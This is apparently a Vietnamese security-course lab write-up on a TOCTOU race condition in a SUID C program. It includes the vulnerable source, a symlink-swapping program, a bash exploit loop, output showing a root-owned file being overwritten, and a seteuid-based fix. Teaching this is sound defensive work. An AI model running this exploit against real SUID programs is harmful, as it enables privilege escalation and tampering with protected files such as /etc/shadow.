Race Condition

Mục Lục

1 Mục tiêu Lab 2

2 Mô hình Lab và các thành phần 2

2.1 File mục tiêu (passwd) 2

2.2 Chương trình vulnerable (thường chạy quyền cao) 2

2.3 Chương trình đổi symlink (symbolic-link.c) 3

2.4 Script khai thác (exploit.sh) 3

3 Nguyên lý lỗi TOCTOU 3

4 Luồng khai thác 3

5 Thiết lập môi trường thí nghiệm 4

5.1 Tạo một người dùng bình thường trên Linux 4

5.2 Chương trình chứa lỗ hổng 5

5.3 Biên dịch chương trình chứa lỗ hổng 6

5.4 Thiết lập Set-UID bit cho tập tin nhị phân 7

6 Khai thác lỗ hổng chương trình 7

6.1 Chuẩn bị file mục tiêu 7

6.2 Viết chương trình tạo Symbolic Link 8

6.3 Viết mã khai thác chương trình chứa lỗ hổng 9

6.4 Khai thác lỗ hổng 9

6.5 Kết quả 10

7 Khắc phục 11

7.1 Hiệu chỉnh code 11

7.2 Kết quả 12

1 Mục tiêu Lab

Lab tập trung vào lỗi **Race Condition (TOCTOU – Time Of Check To Time Of Use)** khi chương trình thao tác với file theo **đường dẫn (path)**. Lỗi xuất hiện khi chương trình:

- kiểm tra điều kiện an toàn của một đường dẫn,
- rồi sau đó mới mở/ghi theo đúng đường dẫn đó,

trong khi khoảng thời gian giữa hai bước đủ để một tiến trình khác **đổi đối tượng mà đường dẫn đang trỏ tới**. Khi timing "khớp", chương trình tưởng rằng nó đang ghi vào file đã kiểm tra, nhưng thực tế lại ghi vào một file khác (thường là file nhạy cảm).

Mục tiêu của lab là:

- Làm rõ vì sao **path không phải là một đối tượng ổn định**: cùng một tên file nhưng có thể trỏ đến mục tiêu khác nhau theo thời điểm.
- Nhìn thấy "khe cửa" giữa **check** và **use** và cách attacker tận dụng khe đó.
- Tạo tình huống để chương trình chạy quyền cao (thường là SUID) bị điều khiển ghi vào file được bảo vệ (ví dụ passwd trong lab), dù user thường không có quyền ghi trực tiếp.
- Kiểm chứng kết quả bằng thay đổi trước/sau trong nội dung file mục tiêu

2 Mô hình Lab và các thành phần

Lab có ba nhóm thành phần chính: **file mục tiêu**, **chương trình vulnerable**, và **mã khai thác**. Mỗi nhóm giữ một vai trò riêng, ghép lại mới tạo được race condition.

2.1 File mục tiêu (passwd)

- passwd là file dùng để quan sát hậu quả.
- Quyền được cấu hình sao cho user thường **không ghi trực tiếp** vào file này.

Trong suốt lab, nếu passwd thay đổi sau khi chạy exploit, đó là dấu hiệu rõ nhất cho thấy chương trình quyền cao đã bị "hướng" ghi vào file này.

2.2 Chương trình vulnerable (thường chạy quyền cao)

Chương trình này là "nạn nhân". Nó nhận một đường dẫn do user đưa vào (ví dụ target) và làm theo hai pha:

Pha check
Chương trình kiểm tra đường dẫn target có "an toàn" hay không. Tùy lab cụ thể, kiểm tra có thể là:

- file có thuộc đúng owner,
- file có nằm trong thư mục cho phép,
- file có phải symlink hay không,
- hoặc một kiểm tra tương tự nhằm tránh ghi nhầm vào nơi nhạy cảm.

Pha use
Sau khi check xong, chương trình mở và ghi dữ liệu:

- open(target, ...)
- write(...)

Vấn đề nằm ở chỗ: chương trình **kiểm tra theo path**, rồi **cũng thao tác theo path**, nhưng lại tin rằng "path vẫn y như lúc kiểm tra".

2.3 Chương trình đổi symlink (symbolic-link.c)

symbolic-link.c là công cụ tạo tình huống "đổi mục tiêu sau lưng path". Cách làm thường rất thẳng:

- unlink(name) xóa entry hiện tại của name (có thể là file thường hoặc symlink).
- symlink("./passwd", name) tạo lại name dưới dạng symlink trỏ tới ./passwd.

Điểm quan trọng: **tên name không đổi**, nhưng "đích" phía sau có thể đổi ngay lập tức. Đây là nền tảng của tấn công symlink trong TOCTOU.

2.4 Script khai thác (exploit.sh)

exploit.sh thường làm hai việc song song hoặc lặp tốc độ cao:

- liên tục đổi target giữa "file bình thường" và "symlink trỏ tới passwd",
- đồng thời kích hoạt vulnerable program để tạo cơ hội rơi đúng vào khe giữa check và use.

Race condition không đảm bảo trúng ngay. Script vì thế chạy nhiều vòng để tăng xác suất thắng scheduler.

3 Nguyên lý lỗi TOCTOU

TOCTOU có thể hiểu đơn giản bằng một chuỗi sai lệch:

1. Chương trình nhìn vào target và kết luận: "ổn, có thể ghi" (check).
2. Ngay sau đó, target bị đổi sang một thứ khác (thường là symlink trỏ tới file nhạy cảm).
3. Chương trình mở target để ghi (use), nhưng lúc này target không còn là đối tượng đã kiểm tra.

Trong bối cảnh hệ thống tệp Linux:

- target chỉ là một chuỗi ký tự.
- Khi gọi open("target", ...), kernel mới resolve target thành inode cụ thể.
- Nếu attacker thay đổi entry của target trước lúc open() chạy, inode mà open() nhận được có thể hoàn toàn khác.

Vì vậy, "check theo path" không bảo đảm "use đúng đối tượng" nếu path có thể bị attacker thao tác.

4 Luồng khai thác

Luồng khai thác trong lab thường được hiểu dễ nhất khi đặt hai tiến trình chạy đồng thời:

Tiến trình A: vulnerable program (quyền cao)

- Nhận đường dẫn target.

- Thực hiện check trên target (đang trỏ tới một file vô hại).
- Sau khi check pass, chương trình chuẩn bị mở target để ghi.

Ở đây xuất hiện khoảng trễ nhỏ giữa "check xong" và "open/write".

Tiến trình B: exploit (user thường)

- Trong lúc vulnerable program đang chạy, exploit liên tục thay đổi target:
    - khi cần vượt qua check: đảm bảo target là file "hợp lệ",
    - khi cần đánh vào thao tác ghi: biến target thành symlink trỏ tới ./passwd.

Khoảnh khắc trúng race

- Nếu timing đúng:
    - check diễn ra lúc target đang là file vô hại → pass,
    - ngay sau đó target bị đổi thành symlink → trỏ passwd,
    - vulnerable program gọi open(target) và thực tế mở passwd,
    - dữ liệu bị ghi vào passwd bằng quyền cao.

Kết quả quan sát

- passwd bị thay đổi (ghi đè hoặc append, tùy cách vulnerable ghi). Đây là điểm kết thúc rõ ràng nhất của luồng khai thác trong lab.

5 Thiết lập môi trường thí nghiệm

5.1 Tạo một người dùng bình thường trên Linux

- Mở terminal

- Sử dụng lệnh sau để thêm mới một tài khoản người dùng #sudo adduser <username>
Ví dụ: #sudo adduser lab2 (thêm mới người dùng tên race)

- Đăng xuất (log out) tài khoản root

    - logout

- Đăng nhập (login) với tài khoản vừa tạo
    - su – lab2

5.2 Chương trình chứa lỗ hổng

Chương trình C sau đây là một chương trình có chứa lỗ hổng, chứa lỗ hổng TOC/TOU (Time of Check - Time of Use)

```
/* vulnerable-program.c */
#include <stdio.h>
#include<unistd.h>
#include <string.h>
#define DELAY 500000
int main(int argc, char * argv[]) {
   char * fileName = argv[1];
   char buffer[60];
   int i;

   FILE * fileHandler;

   /* get user input */
   scanf("%50s", buffer );
   if (!access(fileName, W_OK)) {

      /* Simulating the Delay */
      for (i = 0; i < DELAY; i++) {
         int a = i ^ 2;

      }

      fileHandler = fopen(fileName, "a+");
      fwrite("\n", sizeof(char), 1, fileHandler);
      fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);
```

```
        fwrite("\n", sizeof(char), 1, fileHandler);
        fclose(fileHandler);
    }

    else {

        printf("No permission \n");

     }

}
```

Mục đích của việc gọi “access()” từ hệ thống là để kiểm tra xem người dùng có thực sự được phép "truy cập" các tập tin (đượsc cung cấp bởi người sử dụng như là một đối số dòng lệnh). Sau khi chương trình đã thực hiện thì chắc chắn người dùng cũng thực sự có quyền, chương trình mở các tập tin và ghi vào đầu các tập tin. Chương trình dễ bị tấn công từ một race condition bởi vì cửa sổ thời gian giữa việc kiểm tra (gọi "access ()" hệ thống) và truy xuất (gọi "fopen()" hệ thống) và tạo cửa sổ lớn bằng cách trì hoãn qua câu lệnh for.

5.3 Biên dịch chương trình chứa lỗ hổng

Trong bước này, chúng ta sẽ biên dịch chương trình chứa lỗ hổng theo các bước sau đây:

1. **Sao chép mã lệnh** có chứa lỗ hổng vào tệp tin **“vulnerable-program.c”** (lưu ở thư mục **home/<user vừa tạo>)**
2. Mở **terminal**

3. **Đổi người dùng hiện tại sang root**, sử dụng lệnh sau

$su root

4. Dùng trình biên dịch **Clang để biên dịch mã**.

sudo apt update -y
sudo apt install clang -y

#clang vulnerable-program.c -o vulnerable-program

Mã lệnh được biên dịch đúng và người sở hữu tập tin nhị phân là người dùng root.

5.4 Thiết lập Set-UID bit cho tập tin nhị phân

Nếu **Set-UID** bit (Set User ID hay SUID) được thiết lập cho tập tin nào đó, thì điều này có nghĩa là một người dùng khác không phải là chủ sở hữu của tệp tin đó cũng có thể sửa và chạy như chính chủ sở hữu.

Trong bước này, thiết lập Set-UID bit cho tệp tin nhị phân, bằng cách theo các bước sau:

1. Mở **terminal**

2. Chuyển sang người dùng **root**

3. Dùng lệnh "**chmod**" để thiết lập bit **SUID**

#**chmod** u+s vulnerable-program

6 Khai thác lỗ hổng chương trình

Ý tưởng khai thác lỗ hổng này xuất phát từ tập tin được sử dụng bởi hàm gọi hệ thống "access()" là khác với tệp tin được sử dụng bởi hàm gọi hệ thống "fopen ()" nhưng chúng có thể có tên tập tin trùng nhau. Nếu ai đó (kẻ tấn công) tạo ra một symbolic link với tên giống như tên tập tin được cung cấp (được cung cấp bởi người sử dụng như là một đối số dòng lệnh) và symbolic link được trỏ đến tập tin được bảo vệ mà người dùng thông thường không có quyền chỉnh sửa nó, ví dụ tập tin "/etc/shadow", thì họ có thể lợi dụng quyền root để thông qua user input ghi sửa vào các tập tin được bảo vệ như "/etc/shadow " là chương trình chỉ chạy với quyền root.

Để khai thác thành công lỗ hổng này cần ghi đè lên bất kỳ tập tin nào thuộc người dùng root mà thông thường không được phép ghi đè lên nó.

Để đạt được điều này cần thực hiện những bước sau:

6.1 Chuẩn bị file mục tiêu

- Mở **terminal**

- Chuyển người dùng sang đăng nhập với tài khoản **root**

- Bây giờ gõ lệnh sau đây để tạo ra một tập tin gọi là **passwd** và đặt một số văn bản trong đó.

#echo "This is a file owned by the user root" > passwd

- Bây giờ sử dụng lệnh sau đây để **đảm bảo** rằng tập tin đã được tạo và **chủ sở hữu** là người dùng **root**

 # ls -l passwd

6.2 Viết chương trình tạo Symbolic Link

Symbolic link (liên kết tượng trưng) thường được gọi là **symlink**, về cơ bản là biện pháp tạo **shortcut** nâng cao. Người dùng có thể tạo các **liên kết tượng trưng** cho các **file** hoặc **thư mục** riêng lẻ, sau đó các liên kết này sẽ xuất hiện như thể chúng được lưu trong cùng thư mục với các file khác mặc dù liên kết tượng trưng lại trỏ đến vị trí thực của chúng. Có hai kiểu liên kết tượng trưng: **cứng** và **mềm**. Các liên kết tượng trưng **mềm** về cơ bản giống như một **shortcut chuẩn**. Khi mở một liên kết mềm, chúng ta sẽ được **chuyển hướng** đến một thư **mục mà** ở đó có **lưu trữ các tập tin**. Mặc dù vậy, một liên kết **cứng** lại xuất hiện như thể **tập tin hoặc thư mục** đó **tồn tại thực ở vị trí của liên kết tượng trưng**, các trình ứng dụng sẽ không biết sự khác biệt này.

Ở bước này, sẽ viết một chương trình tạo ra symbolic link đến tập tin được bảo vệ, có thể tự tạo ra các symbolic link bằng lệnh "ln -s" hoặc có thể gọi hàm C "symlink " để tạo symbolic link trong chương trình.

Chương trình sau sẽ tạo ra một symbolic link với tên giống như tên tệp tin được cung cấp (được cung cấp bởi người sử dụng như là một đối số dòng lệnh).

```
/* symbolic-link.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char * argv[]){
   unlink(argv[1]);
   symlink("./passwd", argv[1]);
}
```

Tiếp theo, sẽ biên dịch :

1. Sao chép mã lệnh vào file “symbolic-link.c” (Tạo file trên termianl của user bình thường)

2. Mở terminal (với tư cách là người dùng bình thường)

3. Sử dụng trình biên dịch clang để biên dịch mã lệnh.

$clang symbolic-link.c -o symbolic-link

Cần biên dịch một cách chính xác, tập tin nhị phân đã sẵn sàng để sử dụng.

6.3 Viết mã khai thác chương trình chứa lỗ hổng

Trong bước này, viết một kịch bản để thực hiện các chương trình chứa lỗ hổng và chương trình symlink cùng một lúc và kiểm tra nếu tệp tin được bảo vệ đã bị ghi đè, nếu không kịch bản sẽ lặp lại các cuộc tấn công cho đến khi thành công.

Kịch bản bash được thực hiện theo các bước sau:

1. Tạo một tệp tin; Người dùng bình thường có thể ghi đè được nó.

2. Chạy chương trình có chứa lỗ hổng và chương trình symbolic cùng lúc

3. Sau đó kiểm tra nếu tệp tin mật khẩu đã bị thay đổi hay chưa. Nếu đã thay đổi sẽ ngừng thực thi.

4. Nếu không thay đổi nó sẽ lặp lại các bước cho đến khi tấn công thành công.

```
#!/bin/sh
# exploit.sh
old=`ls -l passwd`
new=`ls -l passwd`
while [ "$old" = "$new" ]
do
rm passwdlocal; echo "This is a file that the user can overwrite" > passwdlocal

echo  "TOCTOU-Attack-Success"  |  ./vulnerable-program passwdlocal & ./symbolic-link
passwdlocal & new=`ls -l passwd`

done echo "STOP... The passwd file has been changed"
```

6.4 Khai thác lỗ hổng

Bây giờ sao chép kịch bản bash trên vào tập tin "**exploit.sh**" (trên Kali Linux dùng leafpad) và thực hiện nó với lệnh:

$./exploit.sh (Nếu báo lỗi thì thực hiện lệnh "chmod 755 exploit.sh" rồi chạy lại lệnh này)

(với quyền của người dùng bình thường) và kịch bản sẽ không dừng lại cho đến khi thực hiện tấn công thành công và các tập tin mật khẩu sẽ được ghi đè.

Các cuộc tấn công tốn một ít thời gian để thành công (tùy vào năng lực xử lý của máy tính), nếu muốn thực hiện nhanh hơn, có thể tăng thời gian trễ giữa các hàm gọi hệ thống "access()" và "fopen()".

6.5 Kết quả

lab2@osboxes:~/lab2$ ls -lah

total 68K

drwxrwxr-x 2 lab2 lab2 4.0K Feb 25 23:26 .

drwxr-xr-x 4 lab2 lab2 4.0K Feb 25 23:00 ..

-rw-rw-r-- 1 lab2 lab2 759 Feb 25 22:17 1.vulnerable-program.c

-rw-rw-r-- 1 lab2 lab2 181 Feb 25 22:17 2.symbolic-link.c

-rwxr-xr-x 1 lab2 lab2 358 Feb 25 23:23 3.exploit.sh

-rw-rw-r-- 1 lab2 lab2 905 Feb 25 22:17 4.vulnerable-program-fix.c

-rw-rw-r-- 1 lab2 lab2 740 Feb 25 22:17 5.exploit-fix.sh

-rw-r--r-- 1 root root 21K Feb 25 23:26 passwd

lrwxrwxrwx 1 lab2 lab2 8 Feb 25 23:26 passwdlocal -> ./passwd

-rwxrwxr-x 1 lab2 lab2 7.3K Feb 25 23:18 symbolic-link

-rwsr-xr-x 1 root root 7.5K Feb 25 23:14 vulnerable-program

lab2@osboxes:~/lab2$ ./3.exploit.sh

No permission
No permission
STOP... The passwd file has been changed
lab2@osboxes:~/lab2$ cat passwd
password root is 123root
TOCTOU-Attack-Success
TOCTOU-Attack-Success

TOCTOU-Attack-Success

lab2@osboxes:~/lab2$ echo "Try to override the passwd file" > passwd

-su: passwd: Permission denied

7 Khắc phục

7.1 Hiệu chỉnh code

Cách tốt nhất để sửa chữa các chương trình dễ bị nhiễm race condition như trong demo này là nếu người dùng sử dụng các chương trình không cần đặc quyền cao thì các đặc quyền này phải được vô hiệu hóa.

Trong trường hợp ở đây có thể sử dụng "seteuid ()" để tạm thời vô hiệu hóa các đặc quyền root, và chúng ta có thể kích hoạt lại nó nếu cần thiết.

Dưới đây là mã dễ bị nhiễm race condition được cập nhật với những sửa chữa để giảm thiểu lỗ hổng này, trong đó đã khắc phục bằng cách thiết lập id người dùng cho người dùng giá trị id thực sự, vì vậy nếu người dùng thực sự không được phép ghi đè lên các tập tin thì các tập tin sẽ không bị ghi đè.

```
/* vulnerable-program-fix.c */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <string.h>
#define DELAY 500000
int main(int argc, char * argv[]) {
   char * fileName = argv[1];
   char buffer[60];
   int i;

   FILE * fileHandler;

   /* get user input */
```

```
    scanf("%50s", buffer );

    if (!access(fileName, W_OK)) {

        /* Simulating the Delay */
        for (i = 0; i < DELAY; i++) {
            int a = i ^ 2;

        }

        /* Hieu chinh */

        /*  effective user id - - > real user id value. */
        seteuid(getuid());
        fileHandler = fopen(fileName, "a+");
        fwrite("\n", sizeof(char), 1, fileHandler);
        fwrite(buffer,  sizeof(char),  strlen(buffer),
fileHandler);

        fwrite("\n", sizeof(char), 1, fileHandler);
        fclose(fileHandler);
    }

    else {

        printf("No permission \n");

    }

}
```

Sau khi biên dịch mã trước đó và thiết lập các bit Set-UID, tiến hành chạy các mã khai thác một lần nữa và kiểm tra.

7.2 Kết quả

lab2@osboxes:~/lab2$ ls -lah
total 56K
drwxrwxr-x 2 lab2 lab2 4.0K Feb 26 01:39 .

```
drwxr-xr-x 4 lab2 lab2 4.0K Feb 25 23:00 ..
-rw-rw-r-- 1 lab2 lab2  759 Feb 25 22:17 1.vulnerable-program.c
-rw-rw-r-- 1 lab2 lab2  181 Feb 25 22:17 2.symbolic-link.c
-rwxr-xr-x 1 lab2 lab2  356 Feb 26 01:33 3.exploit.sh
-rw-rw-r-- 1 lab2 lab2  905 Feb 25 22:17 4.vulnerable-program-fix.c
-rwxr-xr-x 1 lab2 lab2  740 Feb 25 22:17 5.exploit-fix.sh
-rw-r--r-- 1 root root   50 Feb 26 01:35 passwd
lrwxrwxrwx 1 lab2 lab2 8 Feb 26 01:37 passwdlocal -> ./passwd
-rwxrwxr-x 1 lab2 lab2 7.3K Feb 25 23:18 symbolic-link
-rwsr-xr-x 1 root root 7.5K Feb 25 23:14 vulnerable-program
-rwsr-xr-x 1 root root 7.6K Feb 26 01:39 vulnerable-program-fix
```

lab2@osboxes:~/lab2$ ./5.exploit-fix.sh

```
No permission
…
No permission
./5.exploit-fix.sh: 8: ./5.exploit-fix.sh: cannot create passwdlocal: Permission
denied No permission
…
No permission
./5.exploit-fix.sh: 8: ./5.exploit-fix.sh: cannot create passwdlocal: Permission
denied No permission
…
No permission
…
```